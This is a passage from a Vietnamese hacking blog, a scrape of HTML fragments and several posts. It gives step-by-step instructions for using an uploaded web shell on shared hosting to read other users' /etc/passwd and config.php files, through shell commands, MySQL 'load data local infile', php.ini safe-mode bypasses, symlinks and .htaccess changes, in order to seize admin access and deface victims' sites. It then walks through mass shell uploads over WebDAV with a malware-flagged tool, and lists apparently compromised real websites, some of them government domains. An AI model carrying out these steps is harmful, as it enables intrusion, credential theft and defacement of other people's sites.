line-height: 22px;">thể dùng:</span><br style="background-color: white; color: #222222; font-size: 14px; word-wrap: break-word;" /><span class="Apple-style-span" style="background-color: white; color: #222222; font-size: 14px; line-height: 22px;">- find : dùng cho các tên </span><br style="background-color: white; color: #222222; font-size: 14px; word-wrap: break-word;" /><span class="Apple-style-span" style="background-color: white; color: #222222; font-size: 14px; line-height: 22px;">file. </span><br style="background-color: white; color: #222222; font-size: 14px; word-wrap: break-word;" /><span class="Apple-style-span" style="background-color: white; color: #222222; font-size: 14px; line-height: 22px;">- grep < tiêu chuẩn tìm </span><br style="background-color: white; color: #222222; font-size: 14px; word-wrap: break-word;" /><span class="Apple-style-span" style="background-color: white; color: #222222; font-size: 14px; line-height: 22px;">kiếm>: để tìm nội dung</span><br style="background-color: white; color: #222222; font-size: 14px; word-wrap: break-word;" /><span class="Apple-style-span" style="background-color: white; color: #222222; font-size: 14px; line-height: 22px;">trong file.</span><br style="background-color: white; color: #222222; font-size: 14px; word-wrap: break-word;" /><span class="Apple-style-span" style="background-color: white; color: #222222; font-size: 14px; line-height: 22px;">Để xem một file, bạn có </span><br style="background-color: white; color: #222222; font-size: 14px; word-wrap: break-word;" /><span class="Apple-style-span" style="background-color: white; color: #222222; font-size: 14px; line-height: 22px;">thể dùng:</span><br style="background-color: white; color: #222222; font-size: 14px; word-wrap: break-word;" /><span class="Apple-style-span" style="background-color: white; color: #222222; font-size: 14px; line-height: 22px;">- more : hiển thị file theo từng trang.</span><br style="background-color: white; color: #222222; font-size: 14px; word-wrap: break-word;" /><span class="Apple-style-span" style="background-color: white; color: #222222; font-size: 14px; line-height: 22px;">- cat < tên file>: hiển thị</span><br style="background-color: white; color: #222222; font-size: 14px; word-wrap: break-word;" /><span class="Apple-style-span" style="background-color: white; color: #222222; font-size: 14px; line-height: 22px;">tất cả file.</span></b><br style="font-family: Arial, Tahoma, Helvetica, FreeSans, sans-serif; font-size: 13px;" /><b style="font-family: Arial, Tahoma, Helvetica, FreeSans, sans-serif; font-size: 13px;"><span class="Apple-style-span" style="background-color: white; color: #222222; font-size: 14px; line-height: 22px;">The End Lệnh!</span></b><span style="font-family: Arial, Tahoma, Helvetica, FreeSans, sans-serif; font-size: 13px;"><br /></span>

Một số lệnh cơ bản khi upshell

Thấy anh em ngơ ngác k biết làm gì khi có trong tay 1 con shell nên t nói sơ sơ cho ae đỡ bỡ ngỡ Nào! Bắt đầu: 1) Xem list domain trên cùng ...

Read more »

Giới thiệu Local Attack

<strong style="box-sizing: border-box;">Chủ đề ngày hôm nay đó là: Local attack là gì. Giới thiệu về phương pháp tấn công local attack.</strong> <br /> <div style="box-sizing: border-box; color: #555555; font-family: Ubuntu, Arial, sans-serif; margin-top: 20px;"> <div style="box-sizing: border-box; line-height: 1.5;"> <img alt="" src="http://duyk.net/images/album/26/Untitled.png" style="border: 0px; box-sizing: border-box; max-height: 100%; max-width: 100%; vertical-align: top; width: 500px;" /></div> <div style="box-sizing: border-box; line-height: 1.5; margin-top: 1em;"> </div> <div style="box-sizing: border-box; line-height: 1.5; margin-top: 1em;"> Mục đích của bài này là để bạn nắm được khái niệm về Local attack, hiểu được hiểm họa của nó và tự đưa ra các định hướng để phòng tránh và hạn chế.</div> <div style="box-sizing: border-box; line-height: 1.5; margin-top: 1em;"> </div> <div style="box-sizing: border-box; line-height: 1.5; margin-top: 1em;"> Đầu tiên cắt nghĩa: Local attack dịch ra có nghĩa là: Tấn công cục bộ.</div> <div style="box-sizing: border-box; line-height: 1.5; margin-top: 1em;"> Đúng là như vậy, local attack là phương pháp sử dụng để tấn công dữ liệu của người dùng khác trên cùng 1 máy chủ.</div> <div style="box-sizing: border-box; line-height: 1.5; margin-top: 1em;"> Ví dụ: Kẻ thù của bạn và bạn đều thuê Shared hosting chung của 1 công ty, chạy trên cùng 1 server. Khi đó kẻ thù của bạn có thể chỉ từ shared hosting của hắn mà tấn công website của bạn bằng phương pháp local attack.</div> <div style="box-sizing: border-box; line-height: 1.5; margin-top: 1em;"> Bản chất phương pháp này là lạm dụng quyền hạn của ngôn ngữ lập trình (PHP, ASP hay thậm chí là SQL) để thực thi những mã lệnh trên hệ thống hay truy cập trái phép các file trên cùng hệ thống.</div> <div style="box-sizing: border-box; line-height: 1.5; margin-top: 1em;"> Nguyên nhân từ đây không phải là lỗi gì cả, bản thân ngôn ngữ lập trình phải cần được đáp ứng những quyền hạn như vậy để đảm bảo cho chức năng của ứng dụng. Nhưng nó lại trở thành 1 công cụ cho các Hacker lạm dụng.</div> <div style="box-sizing: border-box; line-height: 1.5; margin-top: 1em;"> Thường thì các Hacker sẽ sử dụng script được viết sẵn chuyên phục vụ cho việc Local attack để dễ dàng hơn trong quá trình tấn công, cái đó giang hồ vẫn gọi là Shell. (<a href="http://duyk.net/topic/19-Share-bo-shell-va-1-so-cong-cu-kha-day-du" style="box-sizing: border-box; color: #0069d6; text-decoration: none;" target="_blank">HiWeb có share 1 bộ shell PHP đầy đủ tại đây</a>)</div> <div style="box-sizing: border-box; line-height: 1.5; margin-top: 1em;"> Tưởng tượng đơn giản thì Local attack giống hệt như bạn có trộm trong nhà, còn Server chính là ngôi nhà vậy. Nếu Server không config hạn chế Local attack thì giống như tên trộm đó là người ở cùng phòng với bạn, ăn chung, ngủ chung với bạn, việc hắn tấn công bạn dễ như trở bàn tay. Còn nếu Server config hạn chế tốt thì sẽ giống như bạn và hắn mỗi người 1 phòng, và phòng của bạn được khóa kĩ cẩn thận.</div> <div style="box-sizing: border-box; line-height: 1.5; margin-top: 1em;"> Nhìn chung thì việc sử dụng Shared hosting là không an toàn cho lắm, nhưng nó lại là lựa chọn khi tài chính và nhu cầu của bạn hạn chế (Giống như ko có tiền mua nhà nên phải đi thuê phòng ở chung với trộm cướp).</div> <div style="box-sizing: border-box; line-height: 1.5; margin-top: 1em;"> </div> <div style="box-sizing: border-box; line-height: 1.5; margin-top: 1em;"> Bài viết tại <a href="http://duyk.net/" style="box-sizing: border-box; color: #0069d6; text-decoration: none;">DuyK.Net</a> .</div> </div>

Giới thiệu Local Attack

Chủ đề ngày hôm nay đó là: Local attack là gì. Giới thiệu về phương pháp tấn công local attack. Mục đích của bài này là để bạn nắm đ...

Read more »

Hướng dẫn local attack với một số phương pháp cơ bản

<div style="margin-top: 20px !important;"> <strong>Đây là bài viết do chính mình, DuyK post tại DaiCa.info hồi năm 2009-2010 gì đó, tuy dữ liệu ngày đó đã mất nhưng rất may mắn nhờ các anh Copier nên giờ vẫn còn để post lại cho anh em newbie tham khảo :D</strong></div> Ok, giờ giả sử chúng ta đã có 1 con shell trên sv. Chúng ta bắt đầu vào việc nào<br /> <br /> Trước tiên chúng ta xem sv này có những site nào.<br /> <br /> 1 số dịch vụ check Reverse IP free như:<br /> <a href="http://www.yougetsignal.com/tools/web-sites-on-web-server/" target="_blank">http://www.yougetsignal.com/tools/web-sites-on-web-server/</a><br /> <a href="http://www.ip-adress.com/reverse_ip/" target="_blank">http://www.ip-adress.com/reverse_ip/</a><br /> <br /> <a href="http://domainsbyip.com/" target="_blank">http://domainsbyip.com</a><br /> <br /> ….. còn nhiều nữa ….<br /> <br /> <strong>I/ Trường hợp dễ nhất, sv chưa config bảo mật gì hết</strong><br /> <br /> Chúng ta thấy gì nào:<br /> <br /> Safe_Mode: OFF Open_Basedir: NONE Safe_Exec_Dir: /usr/bin Safe_Gid: OFF Safe_Include_Dir: NONE Sql.safe_mode: OFF<br /> PHP version: 5.2.13 cURL: ON MySQL: ON MSSQL: OFF PostgreSQL: OFF Oracle: OFF<br /> Disable functions : NONE<br /> <br /> Vậy tức là sv này không config gì cả.<br /> <br /> Vậy thì chúng ta có thể chạy các lệnh cơ bản như sau:<br /> <br /> cat – lệnh để đọc file, cấu trúc cat <đường dẫn file trong sv> (VD: cat /home/user/public_html/includes/config.php)<br /> dir – lệnh này có tác dụng chuyển đường dẫn thực thi, có dạng dir <đường dẫn><br /> cd – lệnh này có tác dụng chuyển đổi thư mục, có dạng cd<br /> <br /> Vậy thì ko có gì khó nữa rồi. Chúng ta bắt đầu chạy lệnh đầu tiên:<br /> <br /> cat /etc/passwd -> Bấm execute<br /> <br /> (Trong 1 số trường hợp không được, bạn hãy thử: less /etc/passwd)<br /> <br /> ………<br /> <br /> 1 danh sách lù mù bắt đầu hiện ra. Ồ, hay ghê. Bắt đầu nhìn kĩ nào<br /> <br /> Kéo xuống<br /> <br /> Kéo xuống<br /> <br /> À à…. bên dưới bắt đầu xuất hiện những dòng dạng như:<br /> <br /> user_name_cua_victim  :1076:1076:System User for user_name_cua_victim:/home/user_name_cua_victim/:/sbin/nologin<br /> <br /> Vậy là xong rồi, bây giờ bạn đã biết user name của victim là gì, suy ngay ra đường dẫn tới nhà của nó. Việc còn lại là đọc file config của victim bằng lệnh:<br /> <br /> cat /home/user_name_cua_victim/public_html/config.php<br /> (Cái này tùy thuộc vào server và web control panel của server nhưng nói chung bạn tự tìm và suy ra đường dẫn nhá)<br /> <br /> Sau khi có được được thông tin về CSDL của victim rồi, bạn có thể chiếm quyền admin và Deface website của hắn<br /> <br /> <strong>II/ Trường hợp SV bật Safemode=0ff | Vô hiệu hóa vô số hàm | Không thể chạy các lệnh cơ bản được !</strong><br /> <br /> Ây chà, sau khi bạn thấy sv như vậy, ko thể chạy kác lệnh cơ bản này nữa.<br /> <br /> Theo mình thì đầu tiên hãy thử vận may với phương pháp: Local viaSQL<br /> <br /> Tiến hành thế nào ???<br /> <br /> Tuy sv ko cho view file từ site khác nhưng với quyền hạn của con shell, chúng ta vẫn có thể view file của site chứa con shell đó.<br /> <br /> Vậy ! Chúng ta hãy tìm tới file config của site (Trong shell có chức năng change Work directory và edit file. Bạn hãy thay đổi đường dẫn phù hợp để đọc được file config) và đăng nhập vào CSDL của site qua con chức năng của con shell. Kéo xuống sẽ có giống như hình bên dưới:<br /> <br /> <img alt="" src="http://duyk.net/images/album/21/database.jpg" style="width: 500px;" /><br /> Hoặc tương tự như trên tùy vào con shell bạn đag có, ở đây là giao diện của shell alucar<br /> <br /> Xong, sau khi chúng ta đã login thành công được vào CSDL. Đầu tiên chúng ta hãy creat 1 Table riêng cho tiện. Cấu trúc để chạy như sau:<br /> <br /> create table daica (dc varchar(1024));<br /> <br /> (bạn thay đổi “daica” và “dc” cũng đc)<br /> <br /> Sau đó chúng ta chạy tiếp lệnh:<br /> <br /> load data local infile ‘/etc/passwd’ into table daica<br /> <br /> ( Có nghĩa là: Tải dữ liệu từ: /etc/passwd vào bảng: daica ) /etc/passwd là gì thì bên trên bạn đã thấy ồi đúng ko, nó có tác dụng liệt kê danh sách user trong server.<br /> <br /> Nếu SV cho phép chạy lệnh này. Thì data sẽ được load vào table của chúng ta. Giờ hãy chạy lệnh:<br /> <br /> select * from daica<br /> <br /> ( Có nghĩa là: chọn ra tất cả từ table(bảng) daica )<br /> <br /> Ồ !!! Thấy gì nào !!! Nó lại hiện ra giống như lúc chúng ta chạy lệnh cat /etc/passwd<br /> <br /> OK ! Giờ chúng ta lại xác định được user rồi. Chúng ta sẽ load dữ liệu từ file cần đọc về table của chúng ta.<br /> <br /> Câu lệnh tương tự: ( Theo mình nên creat table mới cho tiện)<br /> <br /> load data local infile ‘/home/username/public_html/config.php’ into table daica<br /> <br /> Rồi bây giờ chỉ việc view table đó sẽ thấy file thôi.<br /> <br /> !!! KẾt thúc !!!<br /> <br /> **************************************<br /> <br /> <strong>Giờ đến trường hợp SV của chúng ta không cho phép thực thi những lệnh trên !!!</strong><br /> <br /> Làm thế nào đây. Cách đầu tiên chúng ta nghĩ tới đó là sẽ hạ Safemode xuống để sv trở về dạng 1. Cách làm như thế nào?<br /> <br /> Bạn tạo 1 file: php.ini có nội dung như sau:<br /> <br /> safe_mode = off<br /> <br /> disable_function = none<br /> <br /> Sau đó up lên folder của con shell…… và xem kết quả …… Ồ !!! Đúng là nó về dạng 1 thật <img alt="" src="file:///C:/DestroyMafioso/Web%20Help%20Hack/H%C6%B0%E1%BB%9Bng%20d%E1%BA%ABn%20local%20attack%20v%E1%BB%9Bi%20m%E1%BB%99t%20s%E1%BB%91%20ph%C6%B0%C6%A1ng%20ph%C3%A1p%20c%C6%A1%20b%E1%BA%A3n_files/8.gif" /> nếu sv cùi thì sau khi bypass safe mode như vậy, chúng ta lại có thể thực thi những lệnh cơ bản như bình thường.<br /> <br /> <strong>Nhưng nếu không thì sao !!!</strong><br /> <br /> <strong>Nếu không, bạn hãy nghĩ ngay đến 1 cách nữa rất hữu hiệu. Đó là: SymLink</strong><br /> <br /> Symlink là gì ? Nó viết tắt của symbolic link ! Nó sẽ giống như chúng ta tạo 1 shortcut trên window vậy, giúp chúng ta view đc file. Câu lệnh của nó như sau:<br /> <br /> ln -s <đường dẫn tới file cần đọc> <đường dẫnfile được ghi><br /> <br /> Ví dụ: ln-s /home/user/public_html/config.php daica.txt<br /> <br /> ( Đơn giản đi chỉ là daica.txt -> File này trùng luôn folder với con shell )<br /> <br /> Tới đây thì các bạn cũng hiểu rồi chứ ! lại bắt đầu nào:<br /> <br /> ln-s /home/user/public_html/config.php daica.txt<br /> <br /> <a href="http://sitecuavictim.com/duongdanfoldershell/daica.txt" target="_blank">http://sitecuavictim.com/duongdanfoldershell/daica.txt</a><br /> <br /> Nếu view được thì thôi ko sao. Nếu nó lại báo lỗi: 403 thì hãy thử:<br /> <br /> Upload 1 file .htaccess lên ngang hàng con shell có nội dung:<br /> <br /> Options +FollowSymLinks<br /> DirectoryIndex seees.html<br /> Options +Indexes<br /> <br /> -> sau đó view lại xem<br /> <br /> ************************************************** **xong<br /> <br /> <strong>Vậy tất cả các cách trên đều không được nữa !!! Thì sao !!!</strong><br /> <br /> Chà ! Tới đây chúng ta sẽ thử sử dụng 1 source shell khác, đó là shell cgi, perl ( shell có đuôi .cgi .pl )<br /> <br /> Đầu tiên hãy upload file shell .cgi hoặc shell.pl lên ( Các bạn có thể lấy shell này từ :<br /> <a href="http://duyk.net/topic/19-Share-bo-shell-va-1-so-cong-cu-kha-day-du">http://duyk.net/topic/19-Share-bo-shell-va-1-so-cong-cu-kha-day-du</a> )<br /> <br /> Sau đó chmod 755 cho con shell này<br /> <br /> Và chạy nó ……………………<br /> <br /> Nếu chạy được !!! thì quá tuyệt rồi. Các bạn có thể dùng các lệnh cơ bản giống như trường hợp 1 -> xong film<br /> .......... To be Continue ........<br /> Nguồn DuyK

Hướng dẫn local attack với một số phương pháp cơ bản

Đây là bài viết do chính mình, DuyK post tại DaiCa.info hồi năm 2009-2010 gì đó, tuy dữ liệu ngày đó đã mất nhưng rất may mắn nhờ các anh...

Read more »

Hướng dẫn Upshell Và Deface website Sử Dụng Webdav

<div class="messageContent" style="margin: 0px; min-height: 100px; overflow: hidden; padding: 0px;"> <br /> <article><blockquote class="messageText ugc baseHtml" style="margin: 0px; padding: 0px;"> <span style="color: black; font-family: helvetica, georgia, arial, sans-serif; font-size: 11pt; line-height: 1.4; margin-top: 0px;">Tool:  </span><a href="http://dl.dropboxusercontent.com/u/146014068/PheConDe.Com_480123062013_Webdav%20Shell%20Maker.zip" style="font-family: Arial, 'Times New Roman', Times, serif; font-size: 15px; line-height: 20.53333282470703px;">Link tải</a><span style="font-family: Arial, 'Times New Roman', Times, serif; font-size: 15px; line-height: 20.53333282470703px;"> ( Tải bằng FireFox và tắt Kis)</span><br /> <br /> <span style="color: black; font-family: Arial, 'Times New Roman', Times, serif; font-size: 11pt; line-height: 1.4;">Tool scan thấy có dính mã độc. Khuyến cáo ae nên sử dụng trên máy ảo</span><br /> <span style="color: black; font-family: Arial, 'Times New Roman', Times, serif; font-size: 11pt; line-height: 1.4;">Pass dải nén: vhb</span><br /> <span style="color: lime; font-family: Arial, 'Times New Roman', Times, serif; font-size: 11pt; line-height: 1.4;"><span style="color: black;">Bước 1: Vào Tab webDav và chọn ASP Shell Maker</span></span><br /> <br /> <div style="color: #141414; font-family: Arial, 'Times New Roman', Times, serif; font-size: 11pt; line-height: 1.4; margin: 0px; padding: 0px; text-align: center;"> <span style="color: black;"><a class="externalLink" href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhfmdfZs8f4yj1FCLWI7kTellwd5PRjexS03jK3CQIs7JlHvsEj4Gy-UviY03NXSbYalcTZqAdbFGxf4Csc2Rw3fnfzOBAuSGVO-UGuS3CA6fR47e_ax6dfAyUSkHQV87hdd1jMmK2X_KGE/s1600/1.png" style="color: black; margin: 0px -3px; padding: 0px 3px; text-decoration: none;" target="_blank"><img alt="[​IMG]" class="bbCodeImage LbImage" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhfmdfZs8f4yj1FCLWI7kTellwd5PRjexS03jK3CQIs7JlHvsEj4Gy-UviY03NXSbYalcTZqAdbFGxf4Csc2Rw3fnfzOBAuSGVO-UGuS3CA6fR47e_ax6dfAyUSkHQV87hdd1jMmK2X_KGE/s640/1.png" style="border: 0px; max-width: 100%;" /></a></span>​</div> <br /> <span style="color: lime; font-family: Arial, 'Times New Roman', Times, serif; font-size: 11pt; line-height: 1.4;"><span style="color: black;">Bước 2. Chọn Setting và cấu hình</span></span><br /> <span style="color: black; font-family: Arial, 'Times New Roman', Times, serif; font-size: 11pt; line-height: 1.4;"><b>- </b><b>Name of Yourshell :</b> </span><br /> <span style="color: black; font-family: Arial, 'Times New Roman', Times, serif; font-size: 11pt; line-height: 1.4;">Path dẫn tới shell. Ví dụ: /soleil.html. </span><br /> <span style="color: black; font-family: Arial, 'Times New Roman', Times, serif; font-size: 11pt; line-height: 1.4;">Đối với các site dính lỗ hổng webdav không chạy được file .php nên ta chỉ có thể up ở dạng html hoặc asp. </span><br /> <span style="color: black; font-family: Arial, 'Times New Roman', Times, serif; font-size: 11pt; line-height: 1.4;">Nếu muốn up shell thì ta phải change thành dạng face file ảnh ;.jpg ,ví dụ : soleil.asp;.jpg</span><br /> <span style="color: black; font-family: Arial, 'Times New Roman', Times, serif; font-size: 11pt; line-height: 1.4;">Link download shell : </span><br /> <span style="color: black; font-family: Arial, 'Times New Roman', Times, serif; font-size: 11pt; line-height: 1.4;"><a class="externalLink" href="http://www.mediafire.com/?g9xhnqoix8rrstp" style="color: black; margin: 0px -3px; padding: 0px 3px; text-decoration: none;" target="_blank">http://www.mediafire.com/?g9xhnqoix8rrstp</a> </span><br /> <span style="color: black; font-family: Arial, 'Times New Roman', Times, serif; font-size: 11pt; line-height: 1.4;">Pass dải nén: vhb</span><br /> <span style="color: black; font-family: Arial, 'Times New Roman', Times, serif; font-size: 11pt; line-height: 1.4;"><b>- </b><b>Write your shell here:</b></span><br /> <span style="color: black; font-family: Arial, 'Times New Roman', Times, serif; font-size: 11pt; line-height: 1.4;">Chỗ này coppy (load ) nội dung file shell hoặc file index deface của bạn</span><br /> <span style="color: black; font-family: Arial, 'Times New Roman', Times, serif; font-size: 11pt; line-height: 1.4;"><b>- </b><b>List of Target</b></span><br /> <span style="color: black; font-family: Arial, 'Times New Roman', Times, serif; font-size: 11pt; line-height: 1.4;">Lưu toàn bộ site có khả năng dính lỗi webdav vào file txt sau đó ấn Load from file</span><br /> <div style="color: #141414; font-family: Arial, 'Times New Roman', Times, serif; font-size: 11pt; line-height: 1.4; margin: 0px; padding: 0px; text-align: center;"> <span style="color: black;"><a class="externalLink" href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiT-_4HDX5bx-DIGFirMDCKYCVEgqXgv8yH5gJQx2YhLzMASQqCw42SlMINNc4X2UA4TTlX31tCoXuS2CSDWBH89jVuLsaJrKHTMAvA4TrOGjT5oy2cyamGHHQQE_QncxCsje72SjP9frXT/s1600/2.png" style="color: black; margin: 0px -3px; padding: 0px 3px; text-decoration: none;" target="_blank"><img alt="[​IMG]" class="bbCodeImage LbImage" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiT-_4HDX5bx-DIGFirMDCKYCVEgqXgv8yH5gJQx2YhLzMASQqCw42SlMINNc4X2UA4TTlX31tCoXuS2CSDWBH89jVuLsaJrKHTMAvA4TrOGjT5oy2cyamGHHQQE_QncxCsje72SjP9frXT/s640/2.png" style="border: 0px; max-width: 100%;" /></a></span>​</div> <br /> <span style="color: lime; font-family: Arial, 'Times New Roman', Times, serif; font-size: 11pt; line-height: 1.4;"><span style="color: black;">Bước 3: Nhấn Serang!!! Và chương trình tự động thực hiện tấn công</span></span><br /> <div style="color: #141414; font-family: Arial, 'Times New Roman', Times, serif; font-size: 11pt; line-height: 1.4; margin: 0px; padding: 0px; text-align: center;"> <span style="color: black;"><a class="externalLink" href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgsK41_pyFZUXNPjM7FtjSjs8VEgyAlXBh3xQDp0CITRccolK3p4kgRuEwNzXnUfUBBtqbkAhcKrhT-cIy8HAL-imGT3Eg05aAnl6u5Gs7XcmClBYwqAXN2Yb3JuCvLSa6f9moZxTsluwAF/s1600/3.png" style="color: black; margin: 0px -3px; padding: 0px 3px; text-decoration: none;" target="_blank"><img alt="[​IMG]" class="bbCodeImage LbImage" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgsK41_pyFZUXNPjM7FtjSjs8VEgyAlXBh3xQDp0CITRccolK3p4kgRuEwNzXnUfUBBtqbkAhcKrhT-cIy8HAL-imGT3Eg05aAnl6u5Gs7XcmClBYwqAXN2Yb3JuCvLSa6f9moZxTsluwAF/s640/3.png" style="border: 0px; max-width: 100%;" /></a></span>​</div> <span style="color: black; font-family: Arial, 'Times New Roman', Times, serif; font-size: 11pt; line-height: 1.4;">- Nếu site nào dính lỗi sẽ báo</span><br /> <span style="color: black; font-family: Arial, 'Times New Roman', Times, serif; font-size: 11pt; line-height: 1.4;">- checking : <a class="externalLink" href="http://zl.zhqc.org.cn/" style="color: black; margin: 0px -3px; padding: 0px 3px; text-decoration: none;" target="_blank">http://zl.zhqc.org.cn</a></span><br /> <span style="color: black; font-family: Arial, 'Times New Roman', Times, serif; font-size: 11pt; line-height: 1.4;">shell created !!</span><br /> <span style="color: black; font-family: Arial, 'Times New Roman', Times, serif; font-size: 11pt; line-height: 1.4;"><a class="externalLink" href="http://zl.zhqc.org.cn/soleil.html" style="color: black; margin: 0px -3px; padding: 0px 3px; text-decoration: none;" target="_blank">http://zl.zhqc.org.cn/soleil.html</a></span><br /> <span style="color: black; font-family: Arial, 'Times New Roman', Times, serif; font-size: 11pt; line-height: 1.4;">- Còn site nào không dính lỗi, nó sẽ báo</span><br /> <span style="color: black; font-family: Arial, 'Times New Roman', Times, serif; font-size: 11pt; line-height: 1.4;">Not vulnerable dav</span><br /> <br /> <div style="color: #141414; font-family: Arial, 'Times New Roman', Times, serif; font-size: 11pt; line-height: 1.4; margin: 0px; padding: 0px; text-align: center;"> <span style="color: black;"><a class="externalLink" href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjfo-zalih6KH7bPkLq_ofGXQW1j8sRFTXkgIYPbAXfR-oyNRC-w_bxN3VrGC6-wAcZGmfeILS4N8mUrd8PibHX4T7hS88akwdWdwFxzTgxw0i8HacRVWlPHRge9whlrrmCmavoM8RdTsM4/s1600/4.png" style="color: black; margin: 0px -3px; padding: 0px 3px; text-decoration: none;" target="_blank"><img alt="[​IMG]" class="bbCodeImage LbImage" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjfo-zalih6KH7bPkLq_ofGXQW1j8sRFTXkgIYPbAXfR-oyNRC-w_bxN3VrGC6-wAcZGmfeILS4N8mUrd8PibHX4T7hS88akwdWdwFxzTgxw0i8HacRVWlPHRge9whlrrmCmavoM8RdTsM4/s640/4.png" style="border: 0px; max-width: 100%;" /></a></span>​</div> <div style="color: #141414; font-family: Arial, 'Times New Roman', Times, serif; font-size: 11pt; line-height: 1.4; margin: 0px; padding: 0px; text-align: center;"> <span style="color: black;"><a class="externalLink" href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEinDHIUZQsT8s8tWUJyQlN4iuPQt_SpEA68zqWSuaDuuzkeo0vHRz7fwp0BFzNHsWk2oYSdoX1eCqcFkW5oDjrRz0IdGRsr6vBBdlXEyYdo1PalZo7TsLlnJsFpen5hoX9A0MOUmN_0U7Bb/s1600/5.png" style="color: black; margin: 0px -3px; padding: 0px 3px; text-decoration: none;" target="_blank"><img alt="[​IMG]" class="bbCodeImage LbImage" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEinDHIUZQsT8s8tWUJyQlN4iuPQt_SpEA68zqWSuaDuuzkeo0vHRz7fwp0BFzNHsWk2oYSdoX1eCqcFkW5oDjrRz0IdGRsr6vBBdlXEyYdo1PalZo7TsLlnJsFpen5hoX9A0MOUmN_0U7Bb/s640/5.png" style="border: 0px; max-width: 100%;" /></a></span>​</div> </blockquote> Video :<br /> <div class="separator" style="clear: both; text-align: center;"> </div> <br /> <div class="separator" style="clear: both; text-align: center;"> <iframe allowfullscreen="allowfullscreen" frameborder="0" height="266" mozallowfullscreen="mozallowfullscreen" src="https://www.youtube.com/embed/I7hSnc3YObk?feature=player_embedded" webkitallowfullscreen="webkitallowfullscreen" width="320"></iframe></div> <blockquote class="messageText ugc baseHtml" style="margin: 0px; padding: 0px;"> <br /> <span style="color: black; font-family: Arial, 'Times New Roman', Times, serif; font-size: 11pt; line-height: 1.4;"><a class="externalLink" href="http://www.mila.dk/soleil.html" style="color: black; margin: 0px -3px; padding: 0px 3px; text-decoration: none;" target="_blank">http://www.mila.dk/soleil.html</a> </span><br /> <span style="color: black; font-family: Arial, 'Times New Roman', Times, serif; font-size: 11pt; line-height: 1.4;"><a class="externalLink" href="http://www.kelugp.com/soleil.html" style="color: black; margin: 0px -3px; padding: 0px 3px; text-decoration: none;" target="_blank">http://www.kelugp.com/soleil.html</a> </span><br /> <span style="color: black; font-family: Arial, 'Times New Roman', Times, serif; font-size: 11pt; line-height: 1.4;"><a class="externalLink" href="http://thepar-group.net/soleil.html" style="color: black; margin: 0px -3px; padding: 0px 3px; text-decoration: none;" target="_blank">http://thepar-group.net/soleil.html</a> </span><br /> <span style="color: black; font-family: Arial, 'Times New Roman', Times, serif; font-size: 11pt; line-height: 1.4;"><a class="externalLink" href="http://www.kuobao.net.cn/soleil.html" style="color: black; margin: 0px -3px; padding: 0px 3px; text-decoration: none;" target="_blank">http://www.kuobao.net.cn/soleil.html</a> </span><br /> <span style="color: black; font-family: Arial, 'Times New Roman', Times, serif; font-size: 11pt; line-height: 1.4;"><a class="externalLink" href="http://lyg.jx.cn/soleil.html" style="color: black; margin: 0px -3px; padding: 0px 3px; text-decoration: none;" target="_blank">http://lyg.jx.cn/soleil.html</a> </span><br /> <span style="color: black; font-family: Arial, 'Times New Roman', Times, serif; font-size: 11pt; line-height: 1.4;"><a class="externalLink" href="http://www.jzlsxx.gov.cn/soleil.html" style="color: black; margin: 0px -3px; padding: 0px 3px; text-decoration: none;" target="_blank">http://www.jzlsxx.gov.cn/soleil.html</a> </span><br /> <span style="color: black; font-family: Arial, 'Times New Roman', Times, serif; font-size: 11pt; line-height: 1.4;"><a class="externalLink" href="http://www.zdchina.com.cn/soleil.html" style="color: black; margin: 0px -3px; padding: 0px 3px; text-decoration: none;" target="_blank">http://www.zdchina.com.cn/soleil.html</a> </span><br /> <span style="color: black; font-family: Arial, 'Times New Roman', Times, serif; font-size: 11pt; line-height: 1.4;"><a class="externalLink" href="http://zl.zhqc.org.cn/soleil.html" style="color: black; margin: 0px -3px; padding: 0px 3px; text-decoration: none;" target="_blank">http://zl.zhqc.org.cn/soleil.html</a> </span><br /> <span style="color: black; font-family: Arial, 'Times New Roman', Times, serif; font-size: 11pt; line-height: 1.4;"><a class="externalLink" href="http://blog.qstxx.com.cn/soleil.html" style="color: black; margin: 0px -3px; padding: 0px 3px; text-decoration: none;" target="_blank">http://blog.qstxx.com.cn/soleil.html</a> </span><br /> <span style="color: black; font-family: Arial, 'Times New Roman', Times, serif; font-size: 11pt; line-height: 1.4;"><a class="externalLink" href="http://gh.rc.gov.cn/soleil.html" style="color: black; margin: 0px -3px; padding: 0px 3px; text-decoration: none;" target="_blank">http://gh.rc.gov.cn/soleil.html</a> </span><br /> <span style="color: black; font-family: Arial, 'Times New Roman', Times, serif; font-size: 11pt; line-height: 1.4;"><a class="externalLink" href="http://www.tedelon.cn/soleil.html" style="color: black; margin: 0px -3px; padding: 0px 3px; text-decoration: none;" target="_blank">http://www.tedelon.cn/soleil.html</a> </span><br /> <span style="color: black; font-family: Arial, 'Times New Roman', Times, serif; font-size: 11pt; line-height: 1.4;"><a class="externalLink" href="http://www.fses.com.cn/soleil.html" style="color: black; margin: 0px -3px; padding: 0px 3px; text-decoration: none;" target="_blank">http://www.fses.com.cn/soleil.html</a> </span><br /> <span style="color: black; font-family: Arial, 'Times New Roman', Times, serif; font-size: 11pt; line-height: 1.4;"><a class="externalLink" href="http://www.ecitycn.com/soleil.html" style="color: black; margin: 0px -3px; padding: 0px 3px; text-decoration: none;" target="_blank">http://www.ecitycn.com/soleil.html</a> </span><br /> <span style="color: black; font-family: Arial, 'Times New Roman', Times, serif; font-size: 11pt; line-height: 1.4;"><a class="externalLink" href="http://www.aysx.cn/soleil.html" style="color: black; margin: 0px -3px; padding: 0px 3px; text-decoration: none;" target="_blank">http://www.aysx.cn/soleil.html</a> </span><br /> <span style="color: black; font-family: Arial, 'Times New Roman', Times, serif; font-size: 11pt; line-height: 1.4;"><a class="externalLink" href="http://zhishi.lwjl.com.cn/soleil.html" style="color: black; margin: 0px -3px; padding: 0px 3px; text-decoration: none;" target="_blank">http://zhishi.lwjl.com.cn/soleil.html</a> </span><br /> <span style="color: black; font-family: Arial, 'Times New Roman', Times, serif; font-size: 11pt; line-height: 1.4;"><a class="externalLink" 